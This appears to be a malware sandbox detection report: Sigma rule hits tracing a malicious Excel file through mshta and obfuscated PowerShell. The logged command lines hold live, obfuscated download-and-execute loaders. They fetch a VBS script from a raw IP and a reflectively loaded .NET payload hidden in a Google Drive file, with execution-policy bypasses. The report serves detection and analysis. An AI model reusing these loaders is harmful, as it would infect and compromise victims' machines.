iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgI
                Sigma detected: Suspicious Microsoft Office Child Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3560, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3824, ProcessName: mshta.exe
                Sigma detected: Suspicious PowerShell Parameter Substring
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe, CommandLine|base64offset|contains: E, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3932, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe, ProcessId: 4028, ProcessName: powershell.exe
                Sigma detected: WScript or CScript Dropper
                Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 808, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , ProcessId: 3876, ProcessName: wscript.exe
                Sigma detected: Change PowerShell Policies to an Insecure Level
                Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9F
                Sigma detected: Dynamic .NET Compilation Via Csc.EXE
                Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3932, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline", ProcessId: 3148, ProcessName: csc.exe
                Sigma detected: Excel Network Connections
                Source: Network ConnectionAuthor: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 172.67.162.95, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3560, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163
                Sigma detected: Potential Binary Or Script Dropper Via PowerShell
                Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 808, TargetFilename: C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs
                Sigma detected: Suspicious Office Outbound Connections
                Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3560, Protocol: tcp, SourceIp: 172.67.162.95, SourceIsIpv6: false, SourcePort: 443
                Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
                Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1
                Sigma detected: Usage Of Web Request Commands And Cmdlets
                Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1
                Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; 